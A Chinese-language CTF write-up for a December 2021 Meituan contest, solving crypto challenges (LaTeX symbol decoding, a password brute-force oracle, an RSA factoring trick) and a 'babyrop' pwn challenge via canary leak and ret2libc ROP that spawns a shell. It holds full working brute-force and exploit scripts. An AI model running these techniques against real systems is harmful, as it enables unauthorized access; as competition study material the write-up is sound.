20211211-美团CTF

 

Crypto

Symbol

image-20211211110149283

$\flat\ \lambda\ \alpha\ \gamma\ \lbrace\forall\ \uplus\ \nu\ _\ \Lambda\ \alpha\ T\ \epsilon\ \Xi\ _\ M\ \approx\ \triangleleft\ \hbar\rbrace$

1
\flat\ \lambda\ \alpha\ \gamma\ \{\forall\ \uplus\ \nu\ \_\ \Lambda\ \alpha\ T\ \epsilon\ \Xi\ \_\ M\ \approx\ \triangleleft\ \hbar\}

我超,发现了不得了的东西

flag{fun_LaTeX_Math}

1
2
3
4
from hashlib import md5

pl = b'fun_LaTeX_Math'
print(f'flag{{{md5(pl).digest().hex()}}}')

flag{e1b217dc3b5e90b237b45e0a636e5a86}

Romeo’s Encrypting Machine

炼丹题。目标密码长度为8,范围是100个可打印字符,每次nc连上有100s的时间

要知晓一个关键的地方,就是如果猜对前面所有的字符(还不满8个),程序就不会动了,因为服务端会报下标越界的错导致程序退出

image-20211212122335636

而在客户端的现象是:没有任何现象

image-20211212122424601

其他的情况程序则会返回一个False!并继续让你输入

image-20211212142230214

此外有一个循环会占用很多时间

1
2
3
check = b''
for i in range(0x2000):
check = self.aes.encrypt(padding(check[:-1] + str1[:i+1]))

也有一个判断可以在前面的check过之后加速后面的check(跳过上面的循环

1
2
3
4
if right_num > true_num:
continue
else:
right_num = true_num

所以,一种完全自动化脚本的编写思路就是依序爆破printable,到100s主动掐掉,下次再从没爆完的地方(包括之前一次已经开始爆但没有回显的)开始继续爆,直到在某一次连接只爆破一位,还没有任何回显的,那应该就是正确的

不过比赛的时候太急了,不知道是不是一个靶机同时连多个会影响速度,还是那边网速的原因(出现了send过去之后没有任何回显,结果另外一次又False!的情况,本地搭建就跑得贼快),总之半自动化脚本(开始可以一次10个,后面就差不多一次3个)加上最后基本上全手爆了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
# coding: utf-8
from pwn import *
from tqdm import tqdm
from string import printable

context.log_level = 'debug'


class Solve():
def __init__(self):
self.sh = remote('123.57.132.168', 15906)
self.ru = lambda s: self.sh.recvuntil(s)
self.sl = lambda s: self.sh.sendline(s)
self.rl = lambda: self.sh.recvline()
self.pwd = '#G.5~1'

def solve(self):
index_l =
index_r =
while 1:
for i in tqdm(list(printable[index_l:index_r])):
t = self.pwd + i
self.rl() # [~]Please input your password:
self.sl(t.encode())
feedback = self.rl() # False!
if b'False!' in feedback:
continue
self.sh.close()
self.sh = remote('123.57.132.168', 15906)
index_l +=
index_r +=


if __name__ == '__main__':
solution = Solve()
solution.solve()

得到密码是#G.5~1ss

flag{c7f37603-7ad2-4d52-8a56-7c92c74dff97}


赛后重新写下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
# coding: utf-8
from pwn import *
from tqdm import tqdm
from string import printable
import time
import sys

context.log_level = 'debug'
table = printable
length = len(printable)

sh = remote('127.0.0.1', 9999)
sh.close()
sl = lambda s: sh.sendline(s)
rl = lambda: sh.recvline()

pwd = ''
t = pwd
index = 0
i = 0
tip = 1

start_time = time.time()
for _ in range(8):
while 1:
sh = remote('127.0.0.1', 9999)
tip = 1
try:
signal.alarm(105)
for i in tqdm(range(index, length)):
t = pwd + table[i]
rl()
sl(t.encode())
feedback = rl()
if b'False!' in feedback:
tip = 0
continue
elif b'Success' in feedback:
pwd = t
tip = 1
assert 1 == 0
signal.alarm(0)
except:
sh.close()
if tip:
pwd = t
if len(pwd) == 8:
end_time = time.time()
print(f"plz do not waste my time\nyou should pay me: {end_time - start_time}s")
rl()
rl()
sys.exit(0)
index = 0
break
else:
index = i
sh.close()
continue

就很快,还是和网有点关系的

image-20211212172340505

不过偶尔的一次证明脚本继续上次断开的地方爆破的功能没有问题

image-20211212173333213

image-20211212173436293

hamburgerRSA

题目很短,核心代码如下,p和q都是64位的素数

1
2
3
PP = int(str(p) + str(p) + str(q) + str(q))
QQ = int(str(q) + str(q) + str(p) + str(p))
n = PP * QQ

注意是十进制,在二进制位上操作就错了

随便搞几组同等大小的数据出来的结果,没有去搜严格的数学证明,可能是不是完全正确的

  • 64位的p和q十进制要么是20位,要么是19位
  • 十进制20位和20位相乘得到的结果要么是十进制40位,要么是39位
  • N=pq,N的前x位等于p的前y位乘以q的前y位,x略小于y一位或两位十进制位
  • 同理N=pq,N的后x位等于p的后y位乘以q的后y位,x略小于y一位或两位十进制位

所以这里有n,我们可以知道n的前18位177269125756508652就是p和q相乘结果的前面,n的后18位742722231922451193同理,所以要爆破3~4位,再通过sage的factor函数来验证(保险点前后17位也不是不行

1
2
3
4
5
6
7
part1 = '177269125756508652'
part2 = '742722231922451193'
for part_mid in range(1000):
ans = part1 + str(part_mid).rjust(3, '0') + part2
ans = factor(int(ans))
if len(ans) == 2 and ans[0][0].nbits() == 64:
print(ans)

image-20211212151921171

最后是exp

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import *
from gmpy2 import invert

n = 177269125756508652546242326065138402971542751112423326033880862868822164234452280738170245589798474033047460920552550018968571267978283756742722231922451193
c = 47718022601324543399078395957095083753201631332808949406927091589044837556469300807728484035581447960954603540348152501053100067139486887367207461593404096

p = 9788542938580474429
q = 18109858317913867117
PP = int(str(p) + str(p) + str(q) + str(q))
QQ = int(str(q) + str(q) + str(p) + str(p))
print(long_to_bytes(pow(c, invert(0x10001, n-PP-QQ+1), PP*QQ)))

flag{f8d8bfa5-6c7f-14cb-908b-abc1e96946c6}

Pwn

babyrop

考点

  • 栈溢出

技巧

  • 调试时多看看栈说不定发现宝藏

题目描述

提供了libc-2.27.so

程序较短

image-20211212180622459

image-20211212181238528

没有现成的system/bin/sh,只能ret2libc,通过泄漏libc的基址来找system/bin/sh

vul函数里会有栈溢出,溢出48刚好到返回地址,并且可以利用父函数main的栈帧(第5点细说

image-20211212195727808

image-20211212202348709

可能用到的几个gadget

image-20211212210149040

解题思路

  1. 泄漏canary

$\Rightarrow$2. 栈溢出跳转重新执行main函数

$\Rightarrow$3. 在name上构造ROP实现puts(read_got)

$\Rightarrow$4. 栈溢出跳转到name执行ROP链

$\Rightarrow$5. 接收得到read真实地址算出libc基址并栈溢出跳转重新执行main函数

$\Rightarrow$6. 在name上构造ROP实现system("/bin/sh")

$\Rightarrow$7. 栈溢出跳转到name执行ROP链

1. 泄漏canary

这个比较简单,可以输入25个字符,但是题目故意不让用换行0A来填充,换一个字符就好

1
2
3
4
5
6
7
8
for ( i = 0; i <= 24; ++i )
{
if ( read(0, &name[i], 1uLL) != 1 || name[i] == '\n' )
{
name[i] = 0;
break;
}
}

用IDA远程动调就很容易证明canary就紧跟在24长的name之后

image-20211212195352411

image-20211212195212702

2. 栈溢出跳转重新执行main函数

因为libc-2.27.so的一些 🐱bin,有些时候可以跳转到push rbp继续执行,但有时候又必须越过push rbp直接跳转到mov rbp, rsp

即这里第一次返回要返回到0x40075C,第二次则是返回到0x40075B

可以多试几遍

image-20211213021920151

3. 构造ROP实现puts(read_got)

64位用寄存器传参没什么好说的,read最好用send,这里结尾多加1字符变成25个字符

4. 栈溢出跳转到name执行ROP链

注意,这里要用到父函数的栈帧

在name构造ROP之后,我们肯定想控制返回地址到这上去执行是吧,于是乎在这里打个断点,溢出还是继续溢出,返回地址先空着

image-20211213104858417

单步执行直到vulret

image-20211213110216701

仔细查看下栈,发现宝藏了,vul返回到main之后距离我们构造的ROP只有16个字节,结合我们之前的可以pop两个寄存器的gadgetpop r14; pop r15; ret,就可以来到我们的name

image-20211213111045643

最后这里贴张Anza师傅图

image-20211213022309894

5. 计算libc基址并栈溢出跳转重新执行main函数

上文已经构造好了输出read函数真实地址的ROP链,现在接收一下就好了,以\x7f为标志

  • 64位的libc地址开头都是\x7f,32位的都是\xf7

之后重新执行main函数

6. 构造ROP实现system("/bin/sh")

7. 栈溢出跳转到name执行ROP链

完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

context.arch ="amd64"
# context.log_level = 'debug'

io = process("./babyrop")
elf = ELF("babyrop")
libc = ELF("libc-2.27.so")
# io = remote("123.56.122.14", 24091)

ru = lambda s : io.recvuntil(s)
sl = lambda s : io.sendline(s)
sd = lambda s : io.send(s)
rv = lambda s : io.recv(s)
sa = lambda r, s : io.sendlineafter(r, s)
rl = lambda: io.recvline()

show_me_pwd = b"4196782"
main1_addr = 0x40075C
main2_addr = 0x40075B
puts_addr = 0x40086E
pop_rdi_ret = 0x400913
pop_r14_r15_ret = 0x400910

# 1. leak canary

payload1 = b'A' * 16 + b'B' * 8 + b'1'
sd(payload1)
# gdb.attach(io)
# pause()

ru(b'B' * 8)
canary = u64(rv(8))- 0x31

success("canary ====> " + hex(canary))

sa(b" unlock this challenge\n", show_me_pwd)

# 2. ret2 main_mov_rbp_rsp

payload2 = b'A' * 24 + p64(canary) + p64(0) + p64(main1_addr)
# gdb.attach(io)
# pause()
sd(payload2)

# 3. start from beginning & puts(read)

payload3 = p64(pop_rdi_ret) + p64(elf.got["read"]) + p64(puts_addr) + b'1'
# gdb.attach(io)
# pause()
sd(payload3)
sa(b" unlock this challenge\n", show_me_pwd)

# 4. ret2 name

payload4 = b'A' * 24 + p64(canary) + p64(0) + p64(pop_r14_r15_ret)
# gdb.attach(io)
# pause()
sd(payload4)

# 5. leak libc_base & ret2 main_push_ebp
read_addr = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = read_addr - libc.sym["read"]
system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search('/bin/sh\x00'.encode()))
success("libc_base ===> " + hex(libc_base))
success("system_addr ===> " + hex(system_addr))
success("bin_sh_addr ===> " + hex(bin_sh_addr))

payload5 = b'A' * 24 + p64(canary) + p64(0) + p64(main2_addr)
sd(payload5)

# 6. start from beginning & system("/bin/sh")
payload6 = p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) + b'1'
sd(payload6)
sa(b" unlock this challenge\n", show_me_pwd)

# 7. ret2 name & get shell

payload7 = b'A' * 24 + p64(canary) + p64(0) + p64(pop_r14_r15_ret)
sd(payload7)

io.interactive()

image-20211213021545339